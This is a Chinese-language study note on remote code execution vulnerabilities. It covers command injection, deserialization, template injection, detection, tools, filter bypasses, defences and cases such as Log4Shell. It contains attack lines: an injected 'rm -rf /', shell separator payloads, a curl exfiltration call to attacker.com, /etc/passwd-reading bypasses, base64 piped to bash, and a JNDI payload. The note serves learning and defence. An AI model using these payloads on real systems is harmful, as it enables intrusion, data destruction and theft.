RCE漏洞学习笔记
1. 基本概念
-
定义:攻击者通过漏洞在目标服务器上执行任意命令或代码
-
危害等级:高危(直接影响服务器控制权)
-
常见场景:
-
Web应用参数未过滤(如URL、表单、HTTP头)
-
反序列化漏洞
-
第三方组件漏洞(如Log4j2、Fastjson)
-
文件上传 + 解析漏洞
-
2. RCE漏洞类型
2.1 命令注入(Command Injection)
-
原理:通过拼接系统命令执行恶意指令
-
示例:
php
// PHP示例 $ip = $_GET['ip']; system("ping -c 4 " . $ip); // 攻击者输入:127.0.0.1; rm -rf /
-
常用Payload:
; command # Unix分号分隔 | command # 管道符 && command # 逻辑与 || command # 逻辑或 `command` # 反引号执行 $(command) # 子shell执行
2.2 反序列化RCE
-
原理:利用反序列化操作触发危险方法(如PHP的
__destruct
、Java的readObject
) -
经典漏洞:
-
Java: Fastjson(CVE-2022-25845)、Jackson
-
Python: Pickle反序列化
-
PHP: Phar反序列化
-
2.3 模板注入(SSTI)
-
原理:模板引擎解析用户输入为代码
python
# Flask示例(Jinja2) @app.route('/hello/<name>') def hello(name):return render_template_string(f'Hello {name}!') # 攻击输入:{{7*7}} → 输出Hello 49!
-
常见引擎:
-
Java: FreeMarker、Velocity
-
Python: Jinja2、Mako
-
PHP: Twig、Smarty
-
2.4 其他类型
-
文件包含漏洞:
php://input
+ POST代码执行 -
表达式注入:SpEL(Spring)、OGNL(Struts2)
-
内存破坏漏洞:缓冲区溢出(C/C++程序)
3. 实战利用技巧
3.1 检测方法
-
黑盒测试:
-
输入特殊字符测试命令拼接(
;
|
>
等) -
使用延时命令判断(如
ping -c 4 127.0.0.1
→sleep 5
) -
DNS外带数据检测:
curl http://attacker.com/$(whoami)
-
-
白盒审计:
-
搜索危险函数:
bash
# PHP system(), exec(), passthru(), eval() # Java Runtime.getRuntime().exec() # Python os.system(), subprocess.run()
-
3.2 常用工具
-
漏洞扫描:
-
Burp Suite(手工测试)
-
Nuclei(自动化模板)
-
-
利用框架:
-
Metasploit(
exploit/multi/http/log4shell_rce
) -
SQLMap(
--os-shell
参数)
-
-
Payload生成:
-
RevShells(反向Shell生成)
-
CyberChef(编码转换)
-
3.3 绕过防御
-
过滤绕过:
bash
# 空格绕过 cat</etc/passwd {cat,/etc/passwd} # 关键字绕过 c\at /etc/passwd c''at /etc/passwd
-
编码绕过:
bash
# Base64 echo 'whoami' | base64 → d2hvYW1pCg== echo d2hvYW1pCg== | base64 -d | bash
4. 防御方案
4.1 输入处理
-
白名单验证:限制用户输入格式(如IP地址正则)
-
敏感字符过滤:移除
;
|
&
等危险符号 -
参数化处理:避免直接拼接命令
python
# 错误方式 os.system(f"ping {ip}") # 正确方式(Python示例) subprocess.run(['ping', '-c', '4', ip], check=True)
4.2 安全配置
-
最小权限原则:运行服务的用户使用低权限账户
-
禁用危险函数:
php
; php.ini disable_functions = system, exec, passthru
-
沙箱隔离:使用Docker容器或沙箱环境运行不可信代码
4.3 其他防护
-
WAF规则:拦截常见RCE特征(如
/etc/passwd
、whoami
) -
日志监控:记录命令执行行为并设置告警
-
依赖管理:及时更新第三方库(如修复Log4j2)
5. 经典漏洞案例
-
Log4j2 RCE(CVE-2021-44228)
-
利用Payload:
${jndi:ldap://attacker.com/exp}
-
防御:升级到Log4j 2.17.0+
-
-
Spring4Shell(CVE-2022-22965)
-
利用条件:JDK 9+ + Tomcat部署
-
攻击路径:通过数据绑定修改日志路径上传Webshell
-
-
Apache Struts2 RCE(S2-045)
-
漏洞点:错误处理时的OGNL表达式执行
-
Payload示例:
%{(#_='multipart/form-data').(...)}
-
6. 学习资源
-
靶场练习:
-
DVWA(Command Injection模块)
-
PortSwigger Web Security Academy
-
VulnHub漏洞环境
-
-
参考资料:
-
OWASP Top 10(A03: Injection)
-
PayloadsAllTheThings - RCE
-
《白帽子讲Web安全》
-